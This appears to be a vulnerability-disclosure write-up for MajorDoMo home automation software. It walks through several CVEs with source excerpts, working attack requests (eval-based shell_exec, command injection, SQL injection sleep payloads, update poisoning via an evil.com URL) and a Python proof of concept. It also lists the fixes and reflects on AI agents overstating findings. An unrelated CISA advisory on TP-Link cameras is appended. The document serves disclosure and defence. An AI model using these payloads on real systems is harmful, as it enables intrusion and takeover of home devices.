if ($tmp['ID']) {
    redirect("/");
    // execution continues!
}

// panel.class.php:131-134 - ajax handler included WITHOUT checking $this-&gt;authorized
global $ajax_panel;
if ($ajax_panel) {
    include_once(DIR_MODULES . 'inc_panel_ajax.php');
}

The redirect("/") was meant to stop unauthenticated users, but without exit the code keeps running. Then inc_panel_ajax.php gets included unconditionally. Inside, the console handler reaches eval() directly:

// inc_panel_ajax.php:32-47 - the sink
if ($op == 'console') {
    global $command;  // ← from GET params via register_globals
    $code = explode('PHP_EOL', $command);

    foreach ($code as $value) {
        $value = trim($value);
        if (substr(mb_strtolower($value), 0, 4) == 'echo' || ...) {
            evalConsole(trim($value));     // calls eval($code)
        } else {
            evalConsole(trim($value), 1);  // calls eval('print_r(' . $code . ')')
        }
    }
}

$ajax_panel, $op, and $command all come from GET parameters via register_globals. No authentication check stands between the request and eval().

GET /admin.php?ajax_panel=1&amp;op=console&amp;command=echo+shell_exec('id');

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The PoC is 7 lines of Python:

import requests, sys

target = sys.argv[1] if len(sys.argv) &gt; 1 else "http://127.0.0.1:8899"
r = requests.get(f"{target}/admin.php", params={
    "ajax_panel": "1", "op": "console",
    "command": "echo shell_exec('id');",
})
print(r.text.strip() or "[-] Not vulnerable")

CVE-2026-27175: Command Injection via Race Condition (Critical)

rc/index.php handles remote commands. The $param variable is injected into double quotes without escapeshellarg():

// rc/index.php:18-23 - source
if(!empty($command) &amp;&amp; file_exists('./rc/commands/'.$command.'.bat')) {
    $commandPath = DOC_ROOT.'/rc/commands/'.$_GET['command'].'.bat';
    if(!empty($param))
        $commandPath .= ' "'.$param.'"';  // ← shell metacharacters pass through
    safe_exec($commandPath);
}

The irony: safe_exec() is not safe at all. It just inserts the command string into the database:

// lib/common.class.php:751 - safe_exec() is just SQLInsert
function safe_exec($command, $exclusive = 0, $priority = 0, $on_complete = '') {
    $rec = array();
    $rec['COMMAND'] = $command;  // ← no sanitization
    $rec['ID'] = SQLInsert('safe_execs', $rec);
    return $rec['ID'];
}

Then cycle_execs.php picks it up and passes it to exec() with zero sanitization:

// scripts/cycle_execs.php:20-38 - the sink
SQLExec("DELETE FROM safe_execs");  // purge on startup

while (1) {
    if ($safe_execs = SQLSelectOne("SELECT * FROM safe_execs ORDER BY PRIORITY DESC, ID")) {
        $command = $safe_execs['COMMAND'];
        SQLExec("DELETE FROM safe_execs WHERE ID = '" . $safe_execs['ID'] . "'");
        exec($command);  // ← attacker-controlled string from the queue
    }
    sleep(1);
}

Default .bat files like shutdown.bat exist in every install, so file_exists() passes. But the interesting part is the trigger.

cycle_execs.php is web-accessible with no auth. On startup it purges the queue (DELETE FROM safe_execs), then enters a while(1) loop polling every second. So you can’t just inject then trigger - the purge kills your payload.

The trick is a race condition: start the worker first (it purges and enters the loop), then inject while it’s polling. Next iteration picks up and executes your payload.

GET /scripts/cycle_execs.php          &lt;- start worker (blocks, loops forever)
GET /rc/?command=shutdown&amp;param=$(id &gt; /tmp/pwned)   &lt;- inject during loop

Within 1 second, cycle_execs.php picks up the queued command and calls exec():

/var/www/html/rc/commands/shutdown.bat "$(id &gt; /tmp/pwned)"

$(id > /tmp/pwned) expands inside the double quotes. Full RCE, not blind.

CVE-2026-27176: Reflected XSS (Medium)

Classic missing htmlspecialchars() on $qry:

&lt;input type="text" name="qry" value="&lt;?php echo $qry;?&gt;" ...&gt;
echo "<p>Command: <b>" . $qry . "</b></p>";

GET /command.php?qry="&gt;<img src="x">

CVE-2026-27177: Stored XSS via Property Set (High)

The /objects/?op=set endpoint is intentionally unauthenticated - IoT devices use it. The handler is minimal:

// objects/index.php:131 - source, no auth
if ($op == 'set') {
    $obj-&gt;setProperty($p, $v);  // ← stored raw in DB
    echo "OK";
}

The sink is the admin panel’s property editor template, which renders values without escaping:



<p>Source → [#SOURCE#] → [#UPDATED#]</p>


&lt;textarea name="value[#ID#]"&gt;[#VALUE#]&lt;/textarea&gt;

The session cookie (prj=...) has no HttpOnly flag, making it stealable via JavaScript.

The attack chain: enumerate properties via /api.php/data/ThisComputer (returns everything, no auth), poison any property with JS, wait for the admin to open the properties page. The XSS fires from the SOURCE field on page load - no click needed.

GET /objects/?object=ThisComputer&amp;op=set&amp;p=testProp&amp;v=<img src="x">

Bonus: /objects/?op=get returns values with Content-Type: text/html, so navigating directly to the get endpoint also fires the payload in the browser.

This one came from re-examining the false positives. The AI had flagged /objects/?method= as “unauthenticated method execution” and I dismissed it - you can call methods but you can’t inject your own code, so it’s not RCE. The methods are stored PHP that gets eval()’d, but the attacker doesn’t control the code.

What I missed: some default methods pass attacker-controlled params directly into say(). For example, ThisComputer.VolumeLevelChanged:

// source - method code stored in DB, params from $_REQUEST
$volume=round(65535*$params['VALUE']/100);
say("Изменилась громкость до ".$params['VALUE']." процентов");

$params['VALUE'] comes from $_REQUEST. The say() function stores the message raw in the shouts table:

// lib/messages.class.php:140 - say() stores raw, no escaping
function say($ph, $level = 0, $member_id = 0, $source = '') {
    $rec = array();
    $rec['MESSAGE'] = $ph;  // ← raw HTML/JS stored in DB
    $rec['ID'] = SQLInsert('shouts', $rec);
}

The shoutbox widget renders the message without escaping in two places:

// shouts_search.inc.php:159 - PHP rendering sink
$txtdata .= "<b>" . $res[$i]['NAME'] . "</b>: " . nl2br($res[$i]['MESSAGE']) . "<br>";
// nl2br() converts newlines but does NOT escape HTML


[#MESSAGE#]

The dashboard widget auto-refreshes every 3 seconds - no click needed.

GET /objects/?method=ThisComputer.VolumeLevelChanged&amp;VALUE=<img src="x">

Payload stored in DB as Изменилась громкость до <img src="x"> процентов. Next time any admin loads the dashboard, XSS fires. Same cookie steal as Bug 4, different injection vector.

CVE-2026-27179: SQL Injection in Commands Module (High)

This one was hiding in plain sight. The commands module’s search file interpolates $_GET['parent'] directly into SQL:

$tmp = SQLSelectOne("SELECT ID FROM commands WHERE PARENT_ID='" . $_GET['parent'] . "'");

Four queries in the same block, all using the unsanitized value. The module is loadable without authentication via /objects/?module=commands - MajorDoMo’s object endpoint includes arbitrary modules by name and calls their usual() method.

Time-based blind SQLi confirms it cleanly:

GET /objects/?module=commands&amp;parent=' UNION SELECT SLEEP(3)-- -

Baseline response: 27ms. With SLEEP(3): 3.019s. With SLEEP(5): 5.022s. Precise to the millisecond.

The interesting detail: OR SLEEP(3) doesn’t work here the way you’d expect. The commands table has many rows, and MySQL evaluates SLEEP() per row, so OR SLEEP(3) with 30 rows means a 90-second delay that times out. UNION SELECT executes exactly once - that’s the right technique for multi-row tables.

From here it’s standard blind extraction - database names, table contents, credentials. MajorDoMo stores admin passwords as unsalted MD5 in the users table, so extraction leads directly to admin panel access.

CVE-2026-27180: Supply Chain RCE via Update Poisoning (Critical)

This one came from systematically checking which modules expose admin() through usual() without authentication. Fourteen modules do this. Most are harmless because the dangerous code paths check $this->mode or $this->view_mode, which only get set when getParams() is called - and getParams() is never called through the /objects/?module=X entry point.

But saverestore uses gr('mode') instead of $this->mode. gr() reads directly from $_REQUEST. Two handlers are reachable:

// saverestore.class.php - source, reachable without auth via /objects/?module=saverestore
if (gr('mode') == 'auto_update_settings') {
    $this-&gt;config['MASTER_UPDATE_URL'] = gr('set_update_url');  // ← attacker URL stored in DB
    $this-&gt;saveConfig();
}

if (gr('mode') == 'force_update') {
    $this-&gt;autoUpdateSystem();  // ← triggers the full chain below
}

autoUpdateSystem() fetches an Atom feed from the (now poisoned) URL, validates it trivially, then downloads and deploys the tarball:

// saverestore.class.php:1787-1835 - autoUpdateSystem() chain
$update_url = $this-&gt;getUpdateURL();  // ← reads poisoned URL from DB config
$github_feed_url = str_replace('/archive/', '/commits/', $update_url);
$github_feed_url = str_replace('.tar.gz', '.atom', $github_feed_url);
$github_feed = getURL($github_feed_url);  // ← fetches attacker's fake Atom feed

// "validation" - attacker controls the server, so this always passes
$items = XMLTreeToArray(GetXMLTree($github_feed))
['feed']['entry'];
$latest_tm = strtotime($items[0]['updated']['textvalue']);
if ($latest_tm &amp;&amp; (time() - $latest_tm) / 86400 &lt; $delay) return;  // needs &gt;1 day old

$res = $this-&gt;getLatest($out, 1);   // downloads tarball via curl
$res = $this-&gt;upload($out, 1);      // extracts and deploys

getLatest() downloads the tarball with no integrity check:

// saverestore.class.php:558-567 - getLatest() downloads with curl
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);           // ← attacker URL
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // ← no TLS verification
curl_setopt($ch, CURLOPT_FILE, $f);             // ← writes to cms/saverestore/master.tgz
curl_exec($ch);

upload() extracts the tarball and copies everything to the webroot:

// saverestore.class.php:1379,1454 - upload() sinks
exec('tar xzvf ../' . $file);  // ← extracts attacker's tarball

// then copies ALL extracted files to the document root
copyTree(DOC_ROOT . '/cms/saverestore/temp' . $folder, DOC_ROOT, 1);
// ← attacker's PHP files are now live in the webroot

The attack chain: poison the URL, serve a fake feed and a tarball containing a PHP webshell, trigger force_update. MajorDoMo downloads your tarball and deploys it to its own webroot. Full RCE, two GET requests from the attacker’s side.

GET /objects/?module=saverestore&amp;mode=auto_update_settings&amp;set_update_url=http://evil.com/archive/master.tar.gz
GET /objects/?module=saverestore&amp;mode=force_update

The PoC is a self-contained Python script that starts an HTTP server, serves both the atom feed and the malicious tarball, poisons the URL, triggers the update, and confirms the webshell was deployed. End to end in about 30 seconds.

CVE-2026-27181: Module Uninstall via Market (High)

Same root cause as Bug 7, different module. The market module’s admin() reads gr('mode') and assigns it to $this->mode at the start of the method:

// market.class.php:141-147 - source
$name = gr('name');   // ← from $_REQUEST
$mode = gr('mode');   // ← from $_REQUEST
if (!$this-&gt;mode &amp;&amp; $mode) {
    $this-&gt;mode = $mode;  // ← makes ALL mode checks reachable without auth
}

This makes every $this->mode check in the method reachable without auth. The most destructive one is mode=uninstall, which reaches uninstallPlugin():

// market.class.php:771-797 - the sink
function uninstallPlugin($name, $frame = 0) {
    SQLExec("DELETE FROM plugins WHERE MODULE_NAME LIKE '" . DBSafe($name) . "'");
    if (is_dir(ROOT . 'modules/' . $name)) {
        include_once(ROOT . 'modules/' . $name . '/' . $name . '.class.php');
        SQLExec("DELETE FROM project_modules WHERE NAME LIKE '" . DBSafe($name) . "'");

        eval('$plugin = new ' . $name . ';$plugin-&gt;uninstall();');  // calls module's uninstall()

        $this-&gt;removeTree(ROOT . 'modules/' . $name);    // ← deletes module files
        $this-&gt;removeTree(ROOT . 'templates/' . $name);  // ← deletes template files

        // also deletes cycle script
        $cycle_name = ROOT . 'scripts/cycle_' . $name . '.php';
        if (file_exists($cycle_name)) @unlink($cycle_name);
    }
}

One GET request per module, no authentication:

GET /objects/?module=market&amp;mode=uninstall&amp;name=dashboard

An attacker could iterate through all module names and wipe the entire installation.

The Trap: AI Slop is Real

Honest moment: the AI agents initially reported 12 vulnerabilities. I almost shipped that. Most of them were garbage - but not all.

My first approach was throwing multiple agents at the entire codebase in parallel. Broad sweep, maximum coverage. The result was a wall of noise. The agents flagged things like /api.php/method/, /objects/?op=set, X-Forwarded-For trust - all by design. MajorDoMo is a home automation platform. IoT sensors need unauthenticated endpoints on the local network. That’s not a bug, that’s the architecture.

Worse, the first PoC script I generated was cheating - it pre-seeded the database with a malicious script via Docker, then “exploited” it. That’s not a remote exploit, that’s a lie.

What actually worked was slowing down. Instead of spraying agents across the whole codebase, I focused on one module at a time, one code path at a time. I’d point the agent at a specific file, read its output, then manually verify the context before moving on. Is $this->mode set from getParams() or from gr()? Does usual() call admin() directly? Does the template parser actually run through this entry point? These questions matter, and the AI doesn’t ask them on its own.

The difference was night and day. The broad sweep gave me 12 findings, 4 of which were real. The focused approach - going back through the same codebase slowly, checking one module at a time - found the remaining 4. Bugs 7 and 8 both came from patiently tracing the gr('mode') vs $this->mode distinction across individual modules, not from some automated scan.

It also changed how I handled false positives. Ironically, the AI dismissed /objects/?op=set as “by design” and moved on - it took me asking “but can we XSS through it?” to find Bug 4. Bug 5 is another example: AI flagged “unauthenticated method execution” as a vuln, I dismissed it as by-design because you can’t inject code. Both were right. The real vuln was neither - it was the method params flowing unsanitized into say() then into the shoutbox template. AI couldn’t see that chain, and I almost didn’t bother looking twice.

And even on the real bugs, AI missed the interesting parts. Bug 2 was initially rated Medium - “blind async command injection, payload sits in a queue until the worker runs.” I asked one question: can we call cycle_execs.php from the web? Turns out yes, no auth, and you can race it - start the worker, inject while it polls, RCE in under a second. That bumped it from Medium to Critical.

The lesson: AI finds candidates. You validate them. If you skip the validation step you end up publishing AI slop dressed as security research, and that’s worse than finding nothing. But slow down. Go one file at a time. And go back to your false positives - sometimes the AI flagged the right file for the wrong reason.

Fix

PR: sergejey/majordomo#1177

Ten files changed:

modules/panel.class.php - add exit after redirect + auth check before ajax include
rc/index.php - escapeshellarg() + command name validation
command.php - htmlspecialchars() on $qry
templates/objects/objects_edit_properties.html - use VALUE_HTML and SOURCE_HTML instead of raw values
modules/objects/objects_edit.inc.php - add SOURCE_HTML with htmlspecialchars()
objects/index.php - Content-Type: text/plain on property get
modules/shoutbox/shouts_search.inc.php - htmlspecialchars() on MESSAGE and NAME before rendering
templates/shoutbox/shouts_search_admin.html - use MESSAGE_HTML instead of raw MESSAGE
modules/commands/commands_search.inc.php - (int) cast on parent parameter in all SQL queries
modules/saverestore/saverestore.class.php - gate force_update and auto_update_settings behind $this->action == 'admin'
modules/market/market.class.php - gate gr('mode') assignment behind $this->action == 'admin'

TP-Link Systems Inc. VIGI Series IP Camera

2026-02-05T20:47:03 by Alexandre Dulaunoy

JSON

Ref: TP-Link Systems Inc. VIGI Series IP Camera

TP-Link Systems Inc. VIGI Series IP Camera | CISA

View CSAF

Summary

Successful exploitation of this vulnerability could result in unauthorized users gaining administrative access to affected closed circuit television cameras.

The following versions of TP-Link Systems Inc. VIGI Series IP Camera are affected:

VIGI Cx45 Series Models C345, C445 <=3.1.0_Build_250820_Rel.57668n (CVE-2026-0629)
VIGI Cx55 Series Models C355, C455 <=3.1.0_Build_250820_Rel.58873n (CVE-2026-0629)
VIGI Cx85 Series Models C385, C485 <=3.0.2_Build_250630_Rel.71279n (CVE-2026-0629)
VIGI C340S Series <=3.1.0_Build_250625_Rel.65381n (CVE-2026-0629)
VIGI C540S Series Models C540S, EasyCam C540S <=3.1.0_Build_250625_Rel.66601n (CVE-2026-0629)
VIGI C540V Series <=2.1.0_Build_250702_Rel.54300n (CVE-2026-0629)
VIGI C250 Series <=2.1.0_Build_250702_Rel.54301n (CVE-2026-0629)
VIGI Cx50 Series Models C350, C450 <=2.1.0_Build_250702_Rel.54294n (CVE-2026-0629)
VIGI Cx20I (1.0) Series Models C220I 1.0, C320I 1.0, C420I 1.0 <=2.1.0_Build_251014_Rel.58331n (CVE-2026-0629)
VIGI Cx20I (1.20) Series Models C220I 1.20, C320I 1.20, C420I 1.20 <=2.1.0_Build_250701_Rel.44071n (CVE-2026-0629)
VIGI Cx30I (1.0) Series Models C230I 1.0, C330I 1.0, C430I 1.0 <=2.1.0_Build_250701_Rel.45506n (CVE-2026-0629)
VIGI Cx30I (1.20) Series Models C230I 1.20, C330I 1.20, C430I 1.20 <=2.1.0_Build_250701_Rel.44555n (CVE-2026-0629)
VIGI Cx30 (1.0) Series Models C230 1.0, C330 1.0, C430 1.0 <=2.1.0_Build_250701_Rel.46796n (CVE-2026-0629)
VIGI Cx30 (1.20) Series Models C230 1.20, C330 1.20, C430 1.20 <=2.1.0_Build_250701_Rel.46796n (CVE-2026-0629)
VIGI Cx40I (1.0) Series Models C240I 1.0, C340I 1.0, C440I 1.0 <=2.1.0_Build_250701_Rel.46003n (CVE-2026-0629)
VIGI Cx40I (1.20) Series Models C240I 1.20, C340I 1.20, C440I 1.20 <=2.1.0_Build_250701_Rel.45041n (CVE-2026-0629)
VIGI C230I Mini Series <=2.1.0_Build_250701_Rel.47570n (CVE-2026-0629)
VIGI C240 1.0 Series <=2.1.0_Build_250701_Rel.48425n (CVE-2026-0629)
VIGI C340 2.0 Series <=2.1.0_Build_250701_Rel.49304n (CVE-2026-0629)
VIGI C440 2.0 Series <=2.1.0_Build_250701_Rel.49778n (CVE-2026-0629)
VIGI C540 2.0 Series <=2.1.0_Build_250701_Rel.50397n (CVE-2026-0629)
VIGI C540‑4G Series <=2.2.0_Build_250826_Rel.56808n (CVE-2026-0629)
VIGI Cx40‑W Series Models C340‑W 2.0/2.20, C440‑W 2.0, C540‑W 2.0 <=2.1.1_Build_250717 (CVE-2026-0629)
VIGI Cx20 Series Models C320, C420 <=2.1.0_Build_250701_Rel.39597n (CVE-2026-0629)
VIGI InSight Sx45 Series Models S245, S345, S445 <=3.1.0_Build_250820_Rel.57668n (CVE-2026-0629)
VIGI InSight Sx55 Series Models S355, S455 <=3.1.0_Build_250820_Rel.58873n (CVE-2026-0629)
VIGI InSight Sx85 Series Models S285, S385 <=3.0.2_Build_250630_Rel.71279n (CVE-2026-0629)
VIGI InSight Sx45ZI Series Models S245ZI, S345ZI, S445ZI <=1.2.0_Build_250820_Rel.60930n (CVE-2026-0629)
VIGI InSight Sx85PI Series Models S385PI, S485PI <=1.2.0_Build_250827_Rel.66817n (CVE-2026-0629)
VIGI InSight S655I Series <=1.1.1_Build_250625_Rel.64224n (CVE-2026-0629)
VIGI InSight S345‑4G Series <=2.1.0_Build_250725_Rel.36867n (CVE-2026-0629)
VIGI InSight Sx25 Series Models S225, S325, S425 <=1.1.0_Build_250630_Rel.39597n (CVE-2026-0629)

CVSS	Vendor	Equipment	Vulnerabilities
v3 8.8	TP-Link Systems Inc.	TP-Link Systems Inc. VIGI Series IP Camera	Improper Authentication

Background

Critical Infrastructure Sectors: Commercial Facilities
Countries/Areas Deployed: Worldwide
Company Headquarters Location: China

Vulnerabilities

Expand All +

CVE-2026-0629

An authentication bypass in the password recovery feature of the local web interface across multiple VIGI camera models allows an attacker on the LAN to reset the admin password without verification by manipulating client-side state. Attackers can gain full administrative access to the device, compromising configuration and network security.

View CVE Details

Affected Products

TP-Link Systems Inc. VIGI Series IP Camera

Vendor:
TP-Link Systems Inc.

Product Version:
TP-Link Systems Inc. VIGI Cx45 Series Models C345, C445: <=3.1.0_Build_250820_Rel.57668n, TP-Link Systems Inc. VIGI Cx55 Series Models C355, C455: <=3.1.0_Build_250820_Rel.58873n, TP-Link Systems Inc. VIGI Cx85 Series Models C385, C485: <=3.0.2_Build_250630_Rel.71279n, TP-Link Systems Inc. VIGI C340S Series: <=3.1.0_Build_250625_Rel.65381n, TP-Link Systems Inc. VIGI C540S Series Models C540S, EasyCam C540S: <=3.1.0_Build_250625_Rel.66601n, TP-Link Systems Inc. VIGI C540V Series: <=2.1.0_Build_250702_Rel.54300n, TP-Link Systems Inc. VIGI C250 Series: <=2.1.0_Build_250702_Rel.54301n, TP-Link Systems Inc. VIGI Cx50 Series Models C350, C450: <=2.1.0_Build_250702_Rel.54294n, TP-Link Systems Inc. VIGI Cx20I (1.0) Series Models C220I 1.0, C320I 1.0, C420I 1.0: <=2.1.0_Build_251014_Rel.58331n, TP-Link Systems Inc. VIGI Cx20I (1.20) Series Models C220I 1.20, C320I 1.20, C420I 1.20: <=2.1.0_Build_250701_Rel.44071n, TP-Link Systems Inc. VIGI Cx30I (1.0) Series Models C230I 1.0, C330I 1.0, C430I 1.0: <=2.1.0_Build_250701_Rel.45506n, TP-Link Systems Inc. VIGI Cx30I (1.20) Series Models C230I 1.20, C330I 1.20, C430I 1.20: <=2.1.0_Build_250701_Rel.44555n, TP-Link Systems Inc. VIGI Cx30 (1.0) Series Models C230 1.0, C330 1.0, C430 1.0: <=2.1.0_Build_250701_Rel.46796n, TP-Link Systems Inc. VIGI Cx30 (1.20) Series Models C230 1.20, C330 1.20, C430 1.20: <=2.1.0_Build_250701_Rel.46796n, TP-Link Systems Inc. VIGI Cx40I (1.0) Series Models C240I 1.0, C340I 1.0, C440I 1.0: <=2.1.0_Build_250701_Rel.46003n, TP-Link Systems Inc. VIGI Cx40I (1.20) Series Models C240I 1.20, C340I 1.20, C440I 1.20: <=2.1.0_Build_250701_Rel.45041n, TP-Link Systems Inc. VIGI C230I Mini Series: <=2.1.0_Build_250701_Rel.47570n, TP-Link Systems Inc. VIGI C240 1.0 Series: <=2.1.0_Build_250701_Rel.48425n, TP-Link Systems Inc. VIGI C340 2.0 Series: <=2.1.0_Build_250701_Rel.49304n, TP-Link Systems Inc. VIGI C440 2.0 Series: <=2.1.0_Build_250701_Rel.49778n, TP-Link Systems Inc. VIGI C540 2.0 Series: <=2.1.0_Build_250701_Rel.50397n, TP-Link Systems Inc. VIGI C540‑4G Series: <=2.2.0_Build_250826_Rel.56808n, TP-Link Systems Inc. VIGI Cx40‑W Series Models C340‑W 2.0/2.20, C440‑W 2.0, C540‑W 2.0: <=2.1.1_Build_250717, TP-Link Systems Inc. VIGI Cx20 Series Models C320, C420: <=2.1.0_Build_250701_Rel.39597n, TP-Link Systems Inc. VIGI InSight Sx45 Series Models S245, S345, S445: <=3.1.0_Build_250820_Rel.57668n, TP-Link Systems Inc. VIGI InSight Sx55 Series Models S355, S455: <=3.1.0_Build_250820_Rel.58873n, TP-Link Systems Inc. VIGI InSight Sx85 Series Models S285, S385: <=3.0.2_Build_250630_Rel.71279n, TP-Link Systems Inc. VIGI InSight Sx45ZI Series Models S245ZI, S345ZI, S445ZI: <=1.2.0_Build_250820_Rel.60930n, TP-Link Systems Inc. VIGI InSight Sx85PI Series Models S385PI, S485PI: <=1.2.0_Build_250827_Rel.66817n, TP-Link Systems Inc. VIGI InSight S655I Series: <=1.1.1_Build_250625_Rel.64224n, TP-Link Systems Inc. VIGI InSight S345‑4G Series: <=2.1.0_Build_250725_Rel.36867n, TP-Link Systems Inc. VIGI InSight Sx25 Series Models S225, S325, S425: <=1.1.0_Build_250630_Rel.39597n

Product Status:
known_affected

Relevant CWE: CWE-287 Improper Authentication

Metrics

Acknowledgments

Arko Dhar of Redinent Innovations reported this vulnerability to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability, such as:

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.

Revision History

Initial Release Date: 2026-02-05

Date	Revision	Summary
2026-02-05	1	Initial Publication

Legal Notice and Terms of Use

Related vulnerabilities: CVE-2026-0629

displaying 1 - 10 bundles in total 125